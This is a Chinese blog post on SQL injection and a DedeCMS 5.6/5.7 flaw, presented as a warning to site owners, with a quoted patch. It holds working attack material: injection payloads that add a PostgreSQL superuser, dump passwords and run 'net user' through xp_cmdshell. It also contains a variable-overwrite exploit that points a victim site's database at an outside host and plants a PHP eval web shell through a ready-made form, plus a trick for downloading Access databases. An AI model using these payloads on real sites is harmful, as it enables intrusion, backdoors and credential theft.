直接 SQL 命令注入就是攻击者常用的一种创建或修改已有 SQL 语句的技术,从而达到取得隐藏数据,或覆盖关键的值,甚至执行数据库主机操作系统命令的目的。这是通过应用程序取得用户输入并与静态参数组合成 SQL 查询来实现的。
1
2
3
|
$offset = $argv [0]; // 注意,没有输入验证! $query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;" ; $result = pg_query( $conn , $query ); |
这是最普通的分页例子,但是如果有人把下面的语句通过unlencecode()编码以后,
1
2
3
4
5
|
0; insert into pg_shadow(usename,usesysid,usesuper,usecatupd,passwd) select 'crack' , usesysid, 't' , 't' , 'crack' from pg_shadow where usename= 'postgres' ; -- |
再把这语句插入到url以后.就会在数据的表中插入一个用户(通过字段猜测,不过肯定是插入数据了)
注意那个 0; 只不过是为了提供一个正确的偏移量以便补充完整原来的查询,使它不要出错而已。 ,这个是手册上的例子
1
2
3
4
|
$query = "SELECT id, name, inserted, size FROM products WHERE size = '$size' ORDER BY $order LIMIT $limit , $offset ;"; $result = odbc_exec( $conn , $query ); |
可以在原来的查询的基础上添加另一个 SELECT 查询来获得密码:
1
2
3
|
' union select ' 1 ', concat(uname||' - '||passwd) as name, ' 1971-01-01 ', ' 0' from usertable; -- |
再比如:
1
2
3
4
|
<?php $query = "SELECT * FROM products WHERE id LIKE '%$prod%'" ; $result = mssql_query( $query ); ?> |
如果攻击提交 a%' exec master..xp_cmdshell 'net user test testpass /ADD' -- 作为变量 $prod
的值,那么 $query
将会变成
1
2
3
4
5
6
|
<?php $query = "SELECT * FROM products WHERE id LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD' --"; $result = mssql_query( $query ); ?> |
有人说以上的攻击必须得知道数据表的结构等阿,但是没人能保证他们获取不到这些信息阿,不管通过猜测还是,比如用户表最常用的就是user,admin表,什么节点表access啊,不是没有可能
而且还有通过修改form表单,添加隐藏域的方法来提交表单,asp的更恐怖, 通过sql注入来猜测数据库语句之类的,而mysql中sql语言不对会报错,不过,依然不要相信别人输入的数据。
最好对每个客户端发送的数据进行严格的检查过滤。以保证网站的安全。而且,可以的话,最好建立一个日志系统,方便你查看网站是否没入侵过。
PHP中免费的开源产品,如dede,帝国,dz,ecshop等,使用者不再少数!不过,越是开源的产品越危险!因为别人很容易就很获取到你的数据库结构,网站目录结构!网站所有代码!攻击网站也轻而易举:
举例说明,dedeV5.7的
通过这个方法已经有人发明出来dede批量拿站!不仅可以自己扫描dede的站,而且自动获取后台!帐号!密码!
dede后台上传漏洞就不用说了吧,新手都会。用上面的方法得到帐号密码以后,直接上传什么一句话,小马,大马,网站再怎么修复都没用了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
|
漏洞不是我发的,这里仅仅只是分析这个漏洞的成因 今天看到微博看到dedecms出洞了,上土司看了一下,同一个问题,暂时公布的有2个位置, dede/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root 上面这个是知道后台地址的利用方式 另一种如下,下本地装一个dede,执行一下语句,很简单,写了一个dedetag,生成shell的 SQL 语句: insert into dede_mytag(aid,normbody) values(1, '{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'<?php eval($_POST[c]) ?>\');echo "OK";@fclose($fp);{/dede:php}' ); 再用构造的表单提交数据库信息到plus/mytag_js.php?aid=1,覆盖掉数据库的全局参数,导致目标站的mysql类链接到黑客构造的mysql数据库,shell 在同目录下 1.php 分析下mytag_js.php,一开始引用了配置文件,跟进去看看: require_once (dirname( __FILE__ ). '/../include/common.inc.php' ); 会发现下面代码: 以下是引用片段: if (!defined( 'DEDEREQUEST' )) { //检查和注册外部提交的变量 foreach ( $_REQUEST as $_k => $_v ) //这里是关键, { if ( strlen ( $_k )>0 && preg_match( '/^(cfg_|GLOBALS)/' , $_k ) ) //这里是关键, { //如果键名中有cfg_或GLOBALS,就退出了 exit ( 'Request var not allow!' ); } } foreach (Array( '_GET' , '_POST' , '_COOKIE' ) as $_request ) { foreach ($ $_request as $_k => $_v ) ${ $_k } = _RunMagicQuotes( $_v ); //addslashes过滤的 } } 上面这个套路过滤了引号之类的注入问题,变量覆盖虽有过滤,但是没过滤完全,被多维数组绕过了, 如_COOKIE[GLOBALS][cfg_dbuser]这个变量, foreach ( $_REQUEST as $_k => $_v )之后,这个 $k 变成_COOKIE,从而绕过了过滤 $v 变成了[GLOBALS][cfg_dbuser],从而覆盖了data/common.inc.php中的数据库配置变量, 测试5.6 ,5.7都存在,用dedecms的站非常多,这次估计得悲剧一大片。 修补的方法官方论坛有位斑竹给出了代码,如下 找到 include /common.inc.php文件 找到 foreach ( $_REQUEST as $_k => $_v ) { if ( strlen ( $_k )>0 && eregi ( '^(cfg_|GLOBALS)' , $_k ) ) { exit ( 'Request var not allow!' ); } } 替换为下面的代码: function CheckRequest(& $val ) { if ( is_array ( $val )) { foreach ( $val as $_k => $_v ) { CheckRequest( $_k ); CheckRequest( $val [ $_k ]); } } else { if ( strlen ( $val )>0 && preg_match( '#^(cfg_|GLOBALS)#' , $val ) ) { exit ( 'Request var not allow!' ); } } } CheckRequest( $_REQUEST ); --------------------------------------------------------------------------- By:jannock 漏洞细节已经传遍了(http: //www.t00ls.net/thread-17354-1-1.html,http://lcx.cc/?FoxNews=1681.html),又没得玩了。 网传的都是说要知道后台才能利用,但不用,只要 plus 目录存在,服务器能外连,就能拿shell。 前题条件,必须准备好自己的dede数据库,然后插入数据: 以下是引用片段: insert into dede_mytag(aid,normbody) values(1, '{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'<?php eval($_POST[c]) ?>\');echo "OK";@fclose($fp);{/dede:php}' ); 再用下面表单提交,shell 就在同目录下 1.php。原理自己研究。。。 以下是引用片段: <form action= "" method= "post" name= "QuickSearch" id= "QuickSearch" onsubmit= "addaction();" > <input type= "text" value= "http://localhost:8080/plus/mytag_js.php?aid=1" name= "doaction" style= "width:400" ><br /> <input type= "text" value= "dbhost" name= "_COOKIE[GLOBALS][cfg_dbhost]" style= "width:400" ><br /> <input type= "text" value= "dbuser" name= "_COOKIE[GLOBALS][cfg_dbuser]" style= "width:400" ><br /> <input type= "text" value= "dbpwd" name= "_COOKIE[GLOBALS][cfg_dbpwd]" style= "width:400" ><br /> <input type= "text" value= "dbname" name= "_COOKIE[GLOBALS][cfg_dbname]" style= "width:400" ><br /> <input type= "text" value= "dede_" name= "_COOKIE[GLOBALS][cfg_dbprefix]" style= "width:400" ><br /> <input type= "text" value= "true" name= "nocache" style= "width:400" > <input type= "submit" value= "提交" name= "QuickSearchBtn" ><br /> </form> <script> function addaction() { document.QuickSearch.action=document.QuickSearch.doaction.value; } </script> |
上面一段是引用的,直接把目标站的数据库替换成自己本地的数据库,下一步就不用介绍了吧。
再例如:asp+access的网站,前两天工作需要玩的,只要知道路径!直接可以下载下来数据库!网上说的把数据库的名称改的复杂点,带特殊字符之类的!我就弄过一个站!网址不说了用www.xxx.com代替
这样的下载不下来是么?
好像确实是,但是我把Da#%#ta.mdb改成Da%23%%23ta.mdb呢?呵呵,这安全系数,自己的数据库别人随便下载,其他还有什么能保留住的呢?
所以,为了自己网站的安全,一定要在每个细节都多考虑一下,不怕多两行代码,多做两个判断!安全比性能更重要